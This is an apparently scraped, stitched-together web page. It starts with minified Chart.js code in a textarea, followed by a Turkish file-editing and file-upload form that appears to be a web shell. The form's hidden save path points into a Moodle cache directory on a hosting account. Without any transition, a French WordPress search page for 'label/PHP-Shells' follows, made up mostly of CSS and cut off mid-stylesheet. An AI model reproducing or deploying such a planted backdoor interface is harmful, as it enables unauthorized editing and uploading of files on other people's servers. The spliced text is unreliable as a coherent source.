slopeDeltaX=pointAfter.model.x-pointCurrent.model.x;pointCurrent.deltaK=0!==slopeDeltaX?(pointAfter.model.y-pointCurrent.model.y)/slopeDeltaX:0}!pointBefore||pointBefore.model.skip?pointCurrent.mK=pointCurrent.deltaK:!pointAfter||pointAfter.model.skip?pointCurrent.mK=pointBefore.deltaK:this.sign(pointBefore.deltaK)!==this.sign(pointCurrent.deltaK)?pointCurrent.mK=0:pointCurrent.mK=(pointBefore.deltaK+pointCurrent.deltaK)/2}for(i=0;i&lt;pointsLen-1;++i)pointCurrent=pointsWithTangents[i],pointAfter=pointsWithTangents[i+1],pointCurrent.model.skip||pointAfter.model.skip||(helpers$1.almostEquals(pointCurrent.deltaK,0,this.EPSILON)?pointCurrent.mK=pointAfter.mK=0:(alphaK=pointCurrent.mK/pointCurrent.deltaK,betaK=pointAfter.mK/pointCurrent.deltaK,(squaredMagnitude=Math.pow(alphaK,2)+Math.pow(betaK,2))&lt;=9||(tauK=3/Math.sqrt(squaredMagnitude),pointCurrent.mK=alphaK*tauK*pointCurrent.deltaK,pointAfter.mK=betaK*tauK*pointCurrent.deltaK)));for(i=0;i&lt;pointsLen;++i)(pointCurrent=pointsWithTangents[i]).model.skip||(pointBefore=i&gt;0?pointsWithTangents[i-1]:null,pointAfter=i&lt;pointsLen-1?pointsWithTangents[i+1]:null,pointBefore&amp;&amp;!pointBefore.model.skip&amp;&amp;(deltaX=(pointCurrent.model.x-pointBefore.model.x)/3,pointCurrent.model.controlPointPreviousX=pointCurrent.model.x-deltaX,pointCurrent.model.controlPointPreviousY=pointCurrent.model.y-deltaX*pointCurrent.mK),pointAfter&amp;&amp;!pointAfter.model.skip&amp;&amp;(deltaX=(pointAfter.model.x-pointCurrent.model.x)/3,pointCurrent.model.controlPointNextX=pointCurrent.model.x+deltaX,pointCurrent.model.controlPointNextY=pointCurrent.model.y+deltaX*pointCurrent.mK))},helpers$1.nextItem=function(collection,index,loop){return loop?index&gt;=collection.length-1?collection[0]:collection[index+1]:index&gt;=collection.length-1?collection[collection.length-1]:collection[index+1]},helpers$1.previousItem=function(collection,index,loop){return loop?index&lt;=0?collection[collection.length-1]:collection[index-1]:index&lt;=0?collection[0]:collection[index-1]},helpers$1.niceNum=function(range,round){var exponent=Math.floor(helpers$1.log10(range)),fraction=range/Math.pow(10,exponent);return(round?fraction&lt;1.5?1:fraction&lt;3?2:fraction&lt;7?5:10:fraction&lt;=1?1:fraction&lt;=2?2:fraction&lt;=5?5:10)*Math.pow(10,exponent)},helpers$1.requestAnimFrame=&quot;undefined&quot;==typeof window?function(callback){callback()}:window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(callback){return window.setTimeout(callback,1e3/60)},helpers$1.getRelativePosition=function(evt,chart){var mouseX,mouseY,e=evt.originalEvent||evt,canvas=evt.target||evt.srcElement,boundingRect=canvas.getBoundingClientRect(),touches=e.touches;touches&amp;&amp;touches.length&gt;0?(mouseX=touches[0].clientX,mouseY=touches[0].clientY):(mouseX=e.clientX,mouseY=e.clientY);var paddingLeft=parseFloat(helpers$1.getStyle(canvas,&quot;padding-left&quot;)),paddingTop=parseFloat(helpers$1.getStyle(canvas,&quot;padding-top&quot;)),paddingRight=parseFloat(helpers$1.getStyle(canvas,&quot;padding-right&quot;)),paddingBottom=parseFloat(helpers$1.getStyle(canvas,&quot;padding-bottom&quot;)),width=boundingRect.right-boundingRect.left-paddingLeft-paddingRight,height=boundingRect.bottom-boundingRect.top-paddingTop-paddingBottom;return{x:mouseX=Math.round((mouseX-boundingRect.left-paddingLeft)/width*canvas.width/chart.currentDevicePixelRatio),y:mouseY=Math.round((mouseY-boundingRect.top-paddingTop)/height*canvas.height/chart.currentDevicePixelRatio)}},helpers$1.getConstraintWidth=function(domNode){return getConstraintDimension(domNode,&quot;max-width&quot;,&quot;clientWidth&quot;)},helpers$1.getConstraintHeight=function(domNode){return getConstraintDimension(domNode,&quot;max-height&quot;,&quot;clientHeight&quot;)},helpers$1._calculatePadding=function(container,padding,parentDimension){return(padding=helpers$1.getStyle(container,padding)).indexOf(&quot;%&quot;)&gt;-1?parentDimension*parseInt(padding,10)/100:parseInt(padding,10)},helpers$1._getParentNode=function(domNode){var parent=domNode.parentNode;return parent&amp;&amp;&quot;[object ShadowRoot]&quot;===parent.toString()&amp;&amp;(parent=parent.host),parent},helpers$1.getMaximumWidth=function(domNode){var container=helpers$1._getParentNode(domNode);if(!container)return domNode.clientWidth;var clientWidth=container.clientWidth,w=clientWidth-helpers$1._calculatePadding(container,&quot;padding-left&quot;,clientWidth)-helpers$1._calculatePadding(container,&quot;padding-right&quot;,clientWidth),cw=helpers$1.getConstraintWidth(domNode);return isNaN(cw)?w:Math.min(w,cw)},helpers$1.getMaximumHeight=function(domNode){var container=helpers$1._getParentNode(domNode);if(!container)return domNode.clientHeight;var clientHeight=container.clientHeight,h=clientHeight-helpers$1._calculatePadding(container,&quot;padding-top&quot;,clientHeight)-helpers$1._calculatePadding(container,&quot;padding-bottom&quot;,clientHeight),ch=helpers$1.getConstraintHeight(domNode);return isNaN(ch)?h:Math.min(h,ch)},helpers$1.getStyle=function(el,property){return el.currentStyle?el.currentStyle[property]:document.defaultView.getComputedStyle(el,null).getPropertyValue(property)},helpers$1.retinaScale=function(chart,forceRatio){var pixelRatio=chart.currentDevicePixelRatio=forceRatio||&quot;undefined&quot;!=typeof window&amp;&amp;window.devicePixelRatio||1;if(1!==pixelRatio){var canvas=chart.canvas,height=chart.height,width=chart.width;canvas.height=height*pixelRatio,canvas.width=width*pixelRatio,chart.ctx.scale(pixelRatio,pixelRatio),canvas.style.height||canvas.style.width||(canvas.style.height=height+&quot;px&quot;,canvas.style.width=width+&quot;px&quot;)}},helpers$1.fontString=function(pixelSize,fontStyle,fontFamily){return fontStyle+&quot; &quot;+pixelSize+&quot;px &quot;+fontFamily},helpers$1.longestText=function(ctx,font,arrayOfThings,cache){var data=(cache=cache||{}).data=cache.data||{},gc=cache.garbageCollect=cache.garbageCollect||[];cache.font!==font&amp;&amp;(data=cache.data={},gc=cache.garbageCollect=[],cache.font=font),ctx.font=font;var i,j,jlen,thing,nestedThing,longest=0,ilen=arrayOfThings.length;for(i=0;i&lt;ilen;i++)if(null!=(thing=arrayOfThings[i])&amp;&amp;!0!==helpers$1.isArray(thing))longest=helpers$1.measureText(ctx,data,gc,longest,thing);else if(helpers$1.isArray(thing))for(j=0,jlen=thing.length;j&lt;jlen;j++)null==(nestedThing=thing[j])||helpers$1.isArray(nestedThing)||(longest=helpers$1.measureText(ctx,data,gc,longest,nestedThing));var gcLen=gc.length/2;if(gcLen&gt;arrayOfThings.length){for(i=0;i&lt;gcLen;i++)delete data[gc[i]];gc.splice(0,gcLen)}return longest},helpers$1.measureText=function(ctx,data,gc,longest,string){var textWidth=data[string];return textWidth||(textWidth=data[string]=ctx.measureText(string).width,gc.push(string)),textWidth&gt;longest&amp;&amp;(longest=textWidth),longest},helpers$1.numberOfLabelLines=function(arrayOfThings){var numberOfLines=1;return helpers$1.each(arrayOfThings,(function(thing){helpers$1.isArray(thing)&amp;&amp;thing.length&gt;numberOfLines&amp;&amp;(numberOfLines=thing.length)})),numberOfLines},helpers$1.color=chartjsColor?function(value){return value instanceof CanvasGradient&amp;&amp;(value=core_defaults.global.defaultColor),chartjsColor(value)}:function(value){return console.error(&quot;Color.js not found!&quot;),value},helpers$1.getHoverColor=function(colorValue){return colorValue instanceof CanvasPattern||colorValue instanceof CanvasGradient?colorValue:helpers$1.color(colorValue).saturate(.5).darken(.1).rgbString()}}(),core_controller._adapters=core_adapters,core_controller.Animation=core_animation,core_controller.animationService=core_animations,core_controller.controllers=controllers,core_controller.DatasetController=core_datasetController,core_controller.defaults=core_defaults,core_controller.Element=core_element,core_controller.elements=elements,core_controller.Interaction=core_interaction,core_controller.layouts=core_layouts,core_controller.platform=platform,core_controller.plugins=core_plugins,core_controller.Scale=core_scale,core_controller.scaleService=core_scaleService,core_controller.Ticks=core_ticks,core_controller.Tooltip=core_tooltip,core_controller.helpers.each(scales,(function(scale,type){core_controller.scaleService.registerScaleType(type,scale,scale._defaults)})),plugins)plugins.hasOwnProperty(k)&amp;&amp;core_controller.plugins.register(plugins[k]);core_controller.platform.initialize();var src=core_controller;return&quot;undefined&quot;!=typeof window&amp;&amp;(window.Chart=core_controller),core_controller.Chart=core_controller,core_controller.Legend=plugins.legend._element,core_controller.Title=plugins.title._element,core_controller.pluginService=core_controller.plugins,core_controller.PluginBase=core_controller.Element.extend({}),core_controller.canvasHelpers=core_controller.helpers.canvas,core_controller.layoutService=core_controller.layouts,core_controller.LinearScaleBase=scale_linearbase,core_controller.helpers.each([&quot;Bar&quot;,&quot;Bubble&quot;,&quot;Doughnut&quot;,&quot;Line&quot;,&quot;PolarArea&quot;,&quot;Radar&quot;,&quot;Scatter&quot;],(function(klass){core_controller[klass]=function(ctx,cfg){return new core_controller(ctx,core_controller.helpers.merge(cfg||{},{type:klass.charAt(0).toLowerCase()+klass.slice(1)}))}})),src}));
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/moodledataevs/localcache/requirejs/f71b458770038ea1978102214bd7a47f99710c1b">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d509670606*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header 